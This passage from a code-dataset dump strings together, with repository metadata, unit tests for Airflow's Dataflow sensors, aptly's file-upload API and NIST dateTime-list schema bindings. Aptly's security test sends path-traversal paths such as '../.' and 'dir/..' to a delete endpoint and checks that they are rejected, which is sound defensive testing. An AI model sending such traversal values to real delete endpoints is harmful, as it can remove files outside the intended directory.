"ECL-2.0",
"BSD-3-Clause"
] | 79
|
2021-10-15T07:32:27.000Z
|
2022-03-28T04:10:19.000Z
|
tests/providers/google/cloud/sensors/test_dataflow.py
|
emilioego/airflow
|
3457c7847cd24413ff5b622e65c27d8370f94502
|
[
"Apache-2.0",
"BSD-2-Clause",
"MIT",
"ECL-2.0",
"BSD-3-Clause"
] | 153
|
2021-10-15T05:23:46.000Z
|
2022-02-23T06:07:10.000Z
|
tests/providers/google/cloud/sensors/test_dataflow.py
|
emilioego/airflow
|
3457c7847cd24413ff5b622e65c27d8370f94502
|
[
"Apache-2.0",
"BSD-2-Clause",
"MIT",
"ECL-2.0",
"BSD-3-Clause"
] | 23
|
2021-10-15T02:36:37.000Z
|
2022-03-17T02:59:27.000Z
|
#
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not use this file except in compliance
# with the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied. See the License for the
# specific language governing permissions and limitations
# under the License.
import unittest
from unittest import mock
from parameterized import parameterized
from airflow.exceptions import AirflowException
from airflow.providers.google.cloud.hooks.dataflow import DataflowJobStatus
from airflow.providers.google.cloud.sensors.dataflow import (
DataflowJobAutoScalingEventsSensor,
DataflowJobMessagesSensor,
DataflowJobMetricsSensor,
DataflowJobStatusSensor,
)
TEST_TASK_ID = "tesk-id"
TEST_JOB_ID = "test_job_id"
TEST_PROJECT_ID = "test_project"
TEST_LOCATION = "us-central1"
TEST_DELEGATE_TO = "test_delegate_to"
TEST_GCP_CONN_ID = 'test_gcp_conn_id'
TEST_IMPERSONATION_CHAIN = ["ACCOUNT_1", "ACCOUNT_2", "ACCOUNT_3"]
class TestDataflowJobStatusSensor(unittest.TestCase):
@parameterized.expand(
[
(DataflowJobStatus.JOB_STATE_DONE, DataflowJobStatus.JOB_STATE_DONE, True),
(DataflowJobStatus.JOB_STATE_DONE, DataflowJobStatus.JOB_STATE_RUNNING, False),
],
)
@mock.patch("airflow.providers.google.cloud.sensors.dataflow.DataflowHook")
def test_poke(self, expected_status, current_status, sensor_return, mock_hook):
mock_get_job = mock_hook.return_value.get_job
task = DataflowJobStatusSensor(
task_id=TEST_TASK_ID,
job_id=TEST_JOB_ID,
expected_statuses=expected_status,
location=TEST_LOCATION,
project_id=TEST_PROJECT_ID,
gcp_conn_id=TEST_GCP_CONN_ID,
delegate_to=TEST_DELEGATE_TO,
impersonation_chain=TEST_IMPERSONATION_CHAIN,
)
mock_get_job.return_value = {"id": TEST_JOB_ID, "currentState": current_status}
results = task.poke(mock.MagicMock())
self.assertEqual(sensor_return, results)
mock_hook.assert_called_once_with(
gcp_conn_id=TEST_GCP_CONN_ID,
delegate_to=TEST_DELEGATE_TO,
impersonation_chain=TEST_IMPERSONATION_CHAIN,
)
mock_get_job.assert_called_once_with(
job_id=TEST_JOB_ID, project_id=TEST_PROJECT_ID, location=TEST_LOCATION
)
@mock.patch("airflow.providers.google.cloud.sensors.dataflow.DataflowHook")
def test_poke_raise_exception(self, mock_hook):
mock_get_job = mock_hook.return_value.get_job
task = DataflowJobStatusSensor(
task_id=TEST_TASK_ID,
job_id=TEST_JOB_ID,
expected_statuses=DataflowJobStatus.JOB_STATE_RUNNING,
location=TEST_LOCATION,
project_id=TEST_PROJECT_ID,
gcp_conn_id=TEST_GCP_CONN_ID,
delegate_to=TEST_DELEGATE_TO,
impersonation_chain=TEST_IMPERSONATION_CHAIN,
)
mock_get_job.return_value = {"id": TEST_JOB_ID, "currentState": DataflowJobStatus.JOB_STATE_CANCELLED}
with self.assertRaisesRegex(
AirflowException,
f"Job with id '{TEST_JOB_ID}' is already in terminal state: "
f"{DataflowJobStatus.JOB_STATE_CANCELLED}",
):
task.poke(mock.MagicMock())
mock_hook.assert_called_once_with(
gcp_conn_id=TEST_GCP_CONN_ID,
delegate_to=TEST_DELEGATE_TO,
impersonation_chain=TEST_IMPERSONATION_CHAIN,
)
mock_get_job.assert_called_once_with(
job_id=TEST_JOB_ID, project_id=TEST_PROJECT_ID, location=TEST_LOCATION
)
class TestDataflowJobMetricsSensor(unittest.TestCase):
@parameterized.expand(
[
(DataflowJobStatus.JOB_STATE_RUNNING, True),
(DataflowJobStatus.JOB_STATE_RUNNING, False),
(DataflowJobStatus.JOB_STATE_DONE, False),
],
)
@mock.patch("airflow.providers.google.cloud.sensors.dataflow.DataflowHook")
def test_poke(self, job_current_state, fail_on_terminal_state, mock_hook):
mock_get_job = mock_hook.return_value.get_job
mock_fetch_job_metrics_by_id = mock_hook.return_value.fetch_job_metrics_by_id
callback = mock.MagicMock()
task = DataflowJobMetricsSensor(
task_id=TEST_TASK_ID,
job_id=TEST_JOB_ID,
callback=callback,
fail_on_terminal_state=fail_on_terminal_state,
location=TEST_LOCATION,
project_id=TEST_PROJECT_ID,
gcp_conn_id=TEST_GCP_CONN_ID,
delegate_to=TEST_DELEGATE_TO,
impersonation_chain=TEST_IMPERSONATION_CHAIN,
)
mock_get_job.return_value = {"id": TEST_JOB_ID, "currentState": job_current_state}
results = task.poke(mock.MagicMock())
self.assertEqual(callback.return_value, results)
mock_hook.assert_called_once_with(
gcp_conn_id=TEST_GCP_CONN_ID,
delegate_to=TEST_DELEGATE_TO,
impersonation_chain=TEST_IMPERSONATION_CHAIN,
)
mock_fetch_job_metrics_by_id.assert_called_once_with(
job_id=TEST_JOB_ID, project_id=TEST_PROJECT_ID, location=TEST_LOCATION
)
mock_fetch_job_metrics_by_id.return_value.__getitem__.assert_called_once_with("metrics")
callback.assert_called_once_with(mock_fetch_job_metrics_by_id.return_value.__getitem__.return_value)
class DataflowJobMessagesSensorTest(unittest.TestCase):
@parameterized.expand(
[
(DataflowJobStatus.JOB_STATE_RUNNING, True),
(DataflowJobStatus.JOB_STATE_RUNNING, False),
(DataflowJobStatus.JOB_STATE_DONE, False),
],
)
@mock.patch("airflow.providers.google.cloud.sensors.dataflow.DataflowHook")
def test_poke(self, job_current_state, fail_on_terminal_state, mock_hook):
mock_get_job = mock_hook.return_value.get_job
mock_fetch_job_messages_by_id = mock_hook.return_value.fetch_job_messages_by_id
callback = mock.MagicMock()
task = DataflowJobMessagesSensor(
task_id=TEST_TASK_ID,
job_id=TEST_JOB_ID,
callback=callback,
fail_on_terminal_state=fail_on_terminal_state,
location=TEST_LOCATION,
project_id=TEST_PROJECT_ID,
gcp_conn_id=TEST_GCP_CONN_ID,
delegate_to=TEST_DELEGATE_TO,
impersonation_chain=TEST_IMPERSONATION_CHAIN,
)
mock_get_job.return_value = {"id": TEST_JOB_ID, "currentState": job_current_state}
results = task.poke(mock.MagicMock())
self.assertEqual(callback.return_value, results)
mock_hook.assert_called_once_with(
gcp_conn_id=TEST_GCP_CONN_ID,
delegate_to=TEST_DELEGATE_TO,
impersonation_chain=TEST_IMPERSONATION_CHAIN,
)
mock_fetch_job_messages_by_id.assert_called_once_with(
job_id=TEST_JOB_ID, project_id=TEST_PROJECT_ID, location=TEST_LOCATION
)
callback.assert_called_once_with(mock_fetch_job_messages_by_id.return_value)
@mock.patch("airflow.providers.google.cloud.sensors.dataflow.DataflowHook")
def test_poke_raise_exception(self, mock_hook):
mock_get_job = mock_hook.return_value.get_job
mock_fetch_job_messages_by_id = mock_hook.return_value.fetch_job_messages_by_id
callback = mock.MagicMock()
task = DataflowJobMessagesSensor(
task_id=TEST_TASK_ID,
job_id=TEST_JOB_ID,
callback=callback,
fail_on_terminal_state=True,
location=TEST_LOCATION,
project_id=TEST_PROJECT_ID,
gcp_conn_id=TEST_GCP_CONN_ID,
delegate_to=TEST_DELEGATE_TO,
impersonation_chain=TEST_IMPERSONATION_CHAIN,
)
mock_get_job.return_value = {"id": TEST_JOB_ID, "currentState": DataflowJobStatus.JOB_STATE_DONE}
with self.assertRaisesRegex(
AirflowException,
f"Job with id '{TEST_JOB_ID}' is already in terminal state: "
f"{DataflowJobStatus.JOB_STATE_DONE}",
):
task.poke(mock.MagicMock())
mock_hook.assert_called_once_with(
gcp_conn_id=TEST_GCP_CONN_ID,
delegate_to=TEST_DELEGATE_TO,
impersonation_chain=TEST_IMPERSONATION_CHAIN,
)
mock_fetch_job_messages_by_id.assert_not_called()
callback.assert_not_called()
class DataflowJobAutoScalingEventsSensorTest(unittest.TestCase):
@parameterized.expand(
[
(DataflowJobStatus.JOB_STATE_RUNNING, True),
(DataflowJobStatus.JOB_STATE_RUNNING, False),
(DataflowJobStatus.JOB_STATE_DONE, False),
],
)
@mock.patch("airflow.providers.google.cloud.sensors.dataflow.DataflowHook")
def test_poke(self, job_current_state, fail_on_terminal_state, mock_hook):
mock_get_job = mock_hook.return_value.get_job
mock_fetch_job_autoscaling_events_by_id = mock_hook.return_value.fetch_job_autoscaling_events_by_id
callback = mock.MagicMock()
task = DataflowJobAutoScalingEventsSensor(
task_id=TEST_TASK_ID,
job_id=TEST_JOB_ID,
callback=callback,
fail_on_terminal_state=fail_on_terminal_state,
location=TEST_LOCATION,
project_id=TEST_PROJECT_ID,
gcp_conn_id=TEST_GCP_CONN_ID,
delegate_to=TEST_DELEGATE_TO,
impersonation_chain=TEST_IMPERSONATION_CHAIN,
)
mock_get_job.return_value = {"id": TEST_JOB_ID, "currentState": job_current_state}
results = task.poke(mock.MagicMock())
self.assertEqual(callback.return_value, results)
mock_hook.assert_called_once_with(
gcp_conn_id=TEST_GCP_CONN_ID,
delegate_to=TEST_DELEGATE_TO,
impersonation_chain=TEST_IMPERSONATION_CHAIN,
)
mock_fetch_job_autoscaling_events_by_id.assert_called_once_with(
job_id=TEST_JOB_ID, project_id=TEST_PROJECT_ID, location=TEST_LOCATION
)
callback.assert_called_once_with(mock_fetch_job_autoscaling_events_by_id.return_value)
@mock.patch("airflow.providers.google.cloud.sensors.dataflow.DataflowHook")
def test_poke_raise_exception_on_terminal_state(self, mock_hook):
mock_get_job = mock_hook.return_value.get_job
mock_fetch_job_autoscaling_events_by_id = mock_hook.return_value.fetch_job_autoscaling_events_by_id
callback = mock.MagicMock()
task = DataflowJobAutoScalingEventsSensor(
task_id=TEST_TASK_ID,
job_id=TEST_JOB_ID,
callback=callback,
fail_on_terminal_state=True,
location=TEST_LOCATION,
project_id=TEST_PROJECT_ID,
gcp_conn_id=TEST_GCP_CONN_ID,
delegate_to=TEST_DELEGATE_TO,
impersonation_chain=TEST_IMPERSONATION_CHAIN,
)
mock_get_job.return_value = {"id": TEST_JOB_ID, "currentState": DataflowJobStatus.JOB_STATE_DONE}
with self.assertRaisesRegex(
AirflowException,
f"Job with id '{TEST_JOB_ID}' is already in terminal state: "
f"{DataflowJobStatus.JOB_STATE_DONE}",
):
task.poke(mock.MagicMock())
mock_hook.assert_called_once_with(
gcp_conn_id=TEST_GCP_CONN_ID,
delegate_to=TEST_DELEGATE_TO,
impersonation_chain=TEST_IMPERSONATION_CHAIN,
)
mock_fetch_job_autoscaling_events_by_id.assert_not_called()
callback.assert_not_called()
| 40.433333
| 110
| 0.700247
| 1,463
| 12,130
| 5.350649
| 0.10663
| 0.046755
| 0.034492
| 0.033725
| 0.83048
| 0.817067
| 0.805187
| 0.776444
| 0.768906
| 0.750766
| 0
| 0.000856
| 0.229514
| 12,130
| 299
| 111
| 40.568562
| 0.836722
| 0.061995
| 0
| 0.715447
| 0
| 0
| 0.079754
| 0.046391
| 0
| 0
| 0
| 0
| 0.109756
| 1
| 0.028455
| false
| 0
| 0.02439
| 0
| 0.069106
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
545eecc1642180f4b6160931210a780cbf492a2c
| 3,818
|
py
|
Python
|
system/t12_api/files.py
|
kchida/aptly
|
07165efc9d4bcd7018031787f27e70c2d8ecb8b9
|
[
"MIT"
] | 1
|
2018-03-05T16:42:00.000Z
|
2018-03-05T16:42:00.000Z
|
system/t12_api/files.py
|
kchida/aptly
|
07165efc9d4bcd7018031787f27e70c2d8ecb8b9
|
[
"MIT"
] | null | null | null |
system/t12_api/files.py
|
kchida/aptly
|
07165efc9d4bcd7018031787f27e70c2d8ecb8b9
|
[
"MIT"
] | 2
|
2019-04-23T14:57:16.000Z
|
2021-04-10T23:51:20.000Z
|
from api_lib import APITest
class FilesAPITestUpload(APITest):
"""
POST /files/:dir
"""
def check(self):
d = self.random_name()
resp = self.upload("/api/files/" + d, "pyspi_0.6.1-1.3.dsc")
self.check_equal(resp.status_code, 200)
self.check_equal(resp.json(), [d + '/pyspi_0.6.1-1.3.dsc'])
self.check_exists("upload/" + d + '/pyspi_0.6.1-1.3.dsc')
class FilesAPITestUploadMulti(APITest):
"""
POST /files/:dir, GET /files/:dir multi files
"""
def check(self):
d = self.random_name()
self.check_equal(self.get("/api/files/" + d).status_code, 404)
resp = self.upload("/api/files/" + d, "pyspi_0.6.1-1.3.dsc", "pyspi_0.6.1-1.3.diff.gz", "pyspi_0.6.1.orig.tar.gz")
self.check_equal(resp.status_code, 200)
self.check_equal(sorted(resp.json()),
[d + '/pyspi_0.6.1-1.3.diff.gz', d + '/pyspi_0.6.1-1.3.dsc', d + '/pyspi_0.6.1.orig.tar.gz'])
self.check_exists("upload/" + d + '/pyspi_0.6.1-1.3.dsc')
self.check_exists("upload/" + d + '/pyspi_0.6.1-1.3.diff.gz')
self.check_exists("upload/" + d + '/pyspi_0.6.1.orig.tar.gz')
resp = self.get("/api/files/" + d)
self.check_equal(resp.status_code, 200)
self.check_equal(sorted(resp.json()),
['pyspi_0.6.1-1.3.diff.gz', 'pyspi_0.6.1-1.3.dsc', 'pyspi_0.6.1.orig.tar.gz'])
class FilesAPITestList(APITest):
"""
GET /files/
"""
def check(self):
d1, d2, d3 = self.random_name(), self.random_name(), self.random_name()
resp = self.get("/api/files")
self.check_equal(resp.status_code, 200)
self.check_equal(resp.json(), [])
self.check_equal(self.upload("/api/files/" + d1, "pyspi_0.6.1-1.3.dsc").status_code, 200)
self.check_equal(self.upload("/api/files/" + d2, "pyspi_0.6.1-1.3.dsc").status_code, 200)
self.check_equal(self.upload("/api/files/" + d3, "pyspi_0.6.1-1.3.dsc").status_code, 200)
resp = self.get("/api/files")
self.check_equal(resp.status_code, 200)
self.check_equal(sorted(resp.json()), sorted([d1, d2, d3]))
class FilesAPITestDelete(APITest):
"""
DELETE /files/:dir, DELETE /files/:dir/:name
"""
def check(self):
d1, d2 = self.random_name(), self.random_name()
self.check_equal(self.get("/api/files").json(), [])
self.check_equal(self.delete("/api/files/" + d1).status_code, 200)
self.check_equal(self.delete("/api/files/" + d1 + "/" + "pyspi_0.6.1-1.3.dsc").status_code, 200)
self.check_equal(self.upload("/api/files/" + d1, "pyspi_0.6.1-1.3.dsc").status_code, 200)
self.check_equal(self.upload("/api/files/" + d2, "pyspi_0.6.1-1.3.dsc").status_code, 200)
self.check_equal(self.delete("/api/files/" + d1).status_code, 200)
self.check_equal(self.get("/api/files").json(), [d2])
self.check_equal(self.delete("/api/files/" + d2 + "/" + "no-such-file").status_code, 200)
self.check_equal(self.get("/api/files/" + d2).json(), ["pyspi_0.6.1-1.3.dsc"])
self.check_equal(self.delete("/api/files/" + d2 + "/" + "pyspi_0.6.1-1.3.dsc").status_code, 200)
self.check_equal(self.get("/api/files").json(), [d2])
self.check_equal(self.get("/api/files/" + d2).json(), [])
class FilesAPITestSecurity(APITest):
"""
delete & upload security
"""
def check(self):
self.check_equal(self.delete("/api/files/.").status_code, 400)
self.check_equal(self.delete("/api/files").status_code, 404)
self.check_equal(self.delete("/api/files/../.").status_code, 400)
self.check_equal(self.delete("/api/files/./..").status_code, 400)
self.check_equal(self.delete("/api/files/dir/..").status_code, 400)
| 38.565657
| 122
| 0.597695
| 589
| 3,818
| 3.726655
| 0.086587
| 0.143508
| 0.197722
| 0.083827
| 0.83918
| 0.815034
| 0.810478
| 0.767198
| 0.742597
| 0.711617
| 0
| 0.062419
| 0.194343
| 3,818
| 98
| 123
| 38.959184
| 0.65117
| 0.037716
| 0
| 0.45614
| 0
| 0
| 0.226515
| 0.052251
| 0
| 0
| 0
| 0
| 0
| 1
| 0.087719
| false
| 0
| 0.017544
| 0
| 0.192982
| 0
| 0
| 0
| 0
| null | 0
| 1
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
545f53919d21a691b8d4ff743689b87b24c56beb
| 676,960
|
py
|
Python
|
tests/test_nist_meta_4000.py
|
tefra/xsdata-w3c-tests
|
b6b6a4ac4e0ab610e4b50d868510a8b7105b1a5f
|
[
"MIT"
] | 1
|
2021-08-14T17:59:21.000Z
|
2021-08-14T17:59:21.000Z
|
tests/test_nist_meta_4000.py
|
tefra/xsdata-w3c-tests
|
b6b6a4ac4e0ab610e4b50d868510a8b7105b1a5f
|
[
"MIT"
] | 4
|
2020-02-12T21:30:44.000Z
|
2020-04-15T20:06:46.000Z
|
tests/test_nist_meta_4000.py
|
tefra/xsdata-w3c-tests
|
b6b6a4ac4e0ab610e4b50d868510a8b7105b1a5f
|
[
"MIT"
] | null | null | null |
from tests.utils import assert_bindings
def test_list_date_time_min_length_1_nistxml_sv_iv_list_date_time_min_length_2_1(mode, save_output, output_format):
"""
Type list/dateTime is restricted by facet minLength with value 6.
"""
assert_bindings(
schema="nistData/list/dateTime/Schema+Instance/NISTSchema-SV-IV-list-dateTime-minLength-2.xsd",
instance="nistData/list/dateTime/Schema+Instance/NISTXML-SV-IV-list-dateTime-minLength-2-1.xml",
class_name="NistschemaSvIvListDateTimeMinLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_date_time_min_length_1_nistxml_sv_iv_list_date_time_min_length_2_2(mode, save_output, output_format):
"""
Type list/dateTime is restricted by facet minLength with value 6.
"""
assert_bindings(
schema="nistData/list/dateTime/Schema+Instance/NISTSchema-SV-IV-list-dateTime-minLength-2.xsd",
instance="nistData/list/dateTime/Schema+Instance/NISTXML-SV-IV-list-dateTime-minLength-2-2.xml",
class_name="NistschemaSvIvListDateTimeMinLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_date_time_min_length_1_nistxml_sv_iv_list_date_time_min_length_2_3(mode, save_output, output_format):
"""
Type list/dateTime is restricted by facet minLength with value 6.
"""
assert_bindings(
schema="nistData/list/dateTime/Schema+Instance/NISTSchema-SV-IV-list-dateTime-minLength-2.xsd",
instance="nistData/list/dateTime/Schema+Instance/NISTXML-SV-IV-list-dateTime-minLength-2-3.xml",
class_name="NistschemaSvIvListDateTimeMinLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_date_time_min_length_1_nistxml_sv_iv_list_date_time_min_length_2_4(mode, save_output, output_format):
"""
Type list/dateTime is restricted by facet minLength with value 6.
"""
assert_bindings(
schema="nistData/list/dateTime/Schema+Instance/NISTSchema-SV-IV-list-dateTime-minLength-2.xsd",
instance="nistData/list/dateTime/Schema+Instance/NISTXML-SV-IV-list-dateTime-minLength-2-4.xml",
class_name="NistschemaSvIvListDateTimeMinLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_date_time_min_length_1_nistxml_sv_iv_list_date_time_min_length_2_5(mode, save_output, output_format):
"""
Type list/dateTime is restricted by facet minLength with value 6.
"""
assert_bindings(
schema="nistData/list/dateTime/Schema+Instance/NISTSchema-SV-IV-list-dateTime-minLength-2.xsd",
instance="nistData/list/dateTime/Schema+Instance/NISTXML-SV-IV-list-dateTime-minLength-2-5.xml",
class_name="NistschemaSvIvListDateTimeMinLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_date_time_min_length_nistxml_sv_iv_list_date_time_min_length_1_1(mode, save_output, output_format):
"""
Type list/dateTime is restricted by facet minLength with value 5.
"""
assert_bindings(
schema="nistData/list/dateTime/Schema+Instance/NISTSchema-SV-IV-list-dateTime-minLength-1.xsd",
instance="nistData/list/dateTime/Schema+Instance/NISTXML-SV-IV-list-dateTime-minLength-1-1.xml",
class_name="NistschemaSvIvListDateTimeMinLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_date_time_min_length_nistxml_sv_iv_list_date_time_min_length_1_2(mode, save_output, output_format):
"""
Type list/dateTime is restricted by facet minLength with value 5.
"""
assert_bindings(
schema="nistData/list/dateTime/Schema+Instance/NISTSchema-SV-IV-list-dateTime-minLength-1.xsd",
instance="nistData/list/dateTime/Schema+Instance/NISTXML-SV-IV-list-dateTime-minLength-1-2.xml",
class_name="NistschemaSvIvListDateTimeMinLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_date_time_min_length_nistxml_sv_iv_list_date_time_min_length_1_3(mode, save_output, output_format):
"""
Type list/dateTime is restricted by facet minLength with value 5.
"""
assert_bindings(
schema="nistData/list/dateTime/Schema+Instance/NISTSchema-SV-IV-list-dateTime-minLength-1.xsd",
instance="nistData/list/dateTime/Schema+Instance/NISTXML-SV-IV-list-dateTime-minLength-1-3.xml",
class_name="NistschemaSvIvListDateTimeMinLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_date_time_min_length_nistxml_sv_iv_list_date_time_min_length_1_4(mode, save_output, output_format):
"""
Type list/dateTime is restricted by facet minLength with value 5.
"""
assert_bindings(
schema="nistData/list/dateTime/Schema+Instance/NISTSchema-SV-IV-list-dateTime-minLength-1.xsd",
instance="nistData/list/dateTime/Schema+Instance/NISTXML-SV-IV-list-dateTime-minLength-1-4.xml",
class_name="NistschemaSvIvListDateTimeMinLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_date_time_min_length_nistxml_sv_iv_list_date_time_min_length_1_5(mode, save_output, output_format):
"""
Type list/dateTime is restricted by facet minLength with value 5.
"""
assert_bindings(
schema="nistData/list/dateTime/Schema+Instance/NISTSchema-SV-IV-list-dateTime-minLength-1.xsd",
instance="nistData/list/dateTime/Schema+Instance/NISTXML-SV-IV-list-dateTime-minLength-1-5.xml",
class_name="NistschemaSvIvListDateTimeMinLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_date_time_max_length_4_nistxml_sv_iv_list_date_time_max_length_5_1(mode, save_output, output_format):
"""
Type list/dateTime is restricted by facet maxLength with value 10.
"""
assert_bindings(
schema="nistData/list/dateTime/Schema+Instance/NISTSchema-SV-IV-list-dateTime-maxLength-5.xsd",
instance="nistData/list/dateTime/Schema+Instance/NISTXML-SV-IV-list-dateTime-maxLength-5-1.xml",
class_name="NistschemaSvIvListDateTimeMaxLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_date_time_max_length_4_nistxml_sv_iv_list_date_time_max_length_5_2(mode, save_output, output_format):
"""
Type list/dateTime is restricted by facet maxLength with value 10.
"""
assert_bindings(
schema="nistData/list/dateTime/Schema+Instance/NISTSchema-SV-IV-list-dateTime-maxLength-5.xsd",
instance="nistData/list/dateTime/Schema+Instance/NISTXML-SV-IV-list-dateTime-maxLength-5-2.xml",
class_name="NistschemaSvIvListDateTimeMaxLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_date_time_max_length_4_nistxml_sv_iv_list_date_time_max_length_5_3(mode, save_output, output_format):
"""
Type list/dateTime is restricted by facet maxLength with value 10.
"""
assert_bindings(
schema="nistData/list/dateTime/Schema+Instance/NISTSchema-SV-IV-list-dateTime-maxLength-5.xsd",
instance="nistData/list/dateTime/Schema+Instance/NISTXML-SV-IV-list-dateTime-maxLength-5-3.xml",
class_name="NistschemaSvIvListDateTimeMaxLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_date_time_max_length_4_nistxml_sv_iv_list_date_time_max_length_5_4(mode, save_output, output_format):
"""
Type list/dateTime is restricted by facet maxLength with value 10.
"""
assert_bindings(
schema="nistData/list/dateTime/Schema+Instance/NISTSchema-SV-IV-list-dateTime-maxLength-5.xsd",
instance="nistData/list/dateTime/Schema+Instance/NISTXML-SV-IV-list-dateTime-maxLength-5-4.xml",
class_name="NistschemaSvIvListDateTimeMaxLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_date_time_max_length_4_nistxml_sv_iv_list_date_time_max_length_5_5(mode, save_output, output_format):
"""
Type list/dateTime is restricted by facet maxLength with value 10.
"""
assert_bindings(
schema="nistData/list/dateTime/Schema+Instance/NISTSchema-SV-IV-list-dateTime-maxLength-5.xsd",
instance="nistData/list/dateTime/Schema+Instance/NISTXML-SV-IV-list-dateTime-maxLength-5-5.xml",
class_name="NistschemaSvIvListDateTimeMaxLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_date_time_max_length_3_nistxml_sv_iv_list_date_time_max_length_4_1(mode, save_output, output_format):
"""
Type list/dateTime is restricted by facet maxLength with value 8.
"""
assert_bindings(
schema="nistData/list/dateTime/Schema+Instance/NISTSchema-SV-IV-list-dateTime-maxLength-4.xsd",
instance="nistData/list/dateTime/Schema+Instance/NISTXML-SV-IV-list-dateTime-maxLength-4-1.xml",
class_name="NistschemaSvIvListDateTimeMaxLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_date_time_max_length_3_nistxml_sv_iv_list_date_time_max_length_4_2(mode, save_output, output_format):
"""
Type list/dateTime is restricted by facet maxLength with value 8.
"""
assert_bindings(
schema="nistData/list/dateTime/Schema+Instance/NISTSchema-SV-IV-list-dateTime-maxLength-4.xsd",
instance="nistData/list/dateTime/Schema+Instance/NISTXML-SV-IV-list-dateTime-maxLength-4-2.xml",
class_name="NistschemaSvIvListDateTimeMaxLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_date_time_max_length_3_nistxml_sv_iv_list_date_time_max_length_4_3(mode, save_output, output_format):
"""
Type list/dateTime is restricted by facet maxLength with value 8.
"""
assert_bindings(
schema="nistData/list/dateTime/Schema+Instance/NISTSchema-SV-IV-list-dateTime-maxLength-4.xsd",
instance="nistData/list/dateTime/Schema+Instance/NISTXML-SV-IV-list-dateTime-maxLength-4-3.xml",
class_name="NistschemaSvIvListDateTimeMaxLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_date_time_max_length_3_nistxml_sv_iv_list_date_time_max_length_4_4(mode, save_output, output_format):
"""
Type list/dateTime is restricted by facet maxLength with value 8.
"""
assert_bindings(
schema="nistData/list/dateTime/Schema+Instance/NISTSchema-SV-IV-list-dateTime-maxLength-4.xsd",
instance="nistData/list/dateTime/Schema+Instance/NISTXML-SV-IV-list-dateTime-maxLength-4-4.xml",
class_name="NistschemaSvIvListDateTimeMaxLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_date_time_max_length_3_nistxml_sv_iv_list_date_time_max_length_4_5(mode, save_output, output_format):
"""
Type list/dateTime is restricted by facet maxLength with value 8.
"""
assert_bindings(
schema="nistData/list/dateTime/Schema+Instance/NISTSchema-SV-IV-list-dateTime-maxLength-4.xsd",
instance="nistData/list/dateTime/Schema+Instance/NISTXML-SV-IV-list-dateTime-maxLength-4-5.xml",
class_name="NistschemaSvIvListDateTimeMaxLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_date_time_max_length_2_nistxml_sv_iv_list_date_time_max_length_3_1(mode, save_output, output_format):
"""
Type list/dateTime is restricted by facet maxLength with value 7.
"""
assert_bindings(
schema="nistData/list/dateTime/Schema+Instance/NISTSchema-SV-IV-list-dateTime-maxLength-3.xsd",
instance="nistData/list/dateTime/Schema+Instance/NISTXML-SV-IV-list-dateTime-maxLength-3-1.xml",
class_name="NistschemaSvIvListDateTimeMaxLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_date_time_max_length_2_nistxml_sv_iv_list_date_time_max_length_3_2(mode, save_output, output_format):
"""
Type list/dateTime is restricted by facet maxLength with value 7.
"""
assert_bindings(
schema="nistData/list/dateTime/Schema+Instance/NISTSchema-SV-IV-list-dateTime-maxLength-3.xsd",
instance="nistData/list/dateTime/Schema+Instance/NISTXML-SV-IV-list-dateTime-maxLength-3-2.xml",
class_name="NistschemaSvIvListDateTimeMaxLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_date_time_max_length_2_nistxml_sv_iv_list_date_time_max_length_3_3(mode, save_output, output_format):
"""
Type list/dateTime is restricted by facet maxLength with value 7.
"""
assert_bindings(
schema="nistData/list/dateTime/Schema+Instance/NISTSchema-SV-IV-list-dateTime-maxLength-3.xsd",
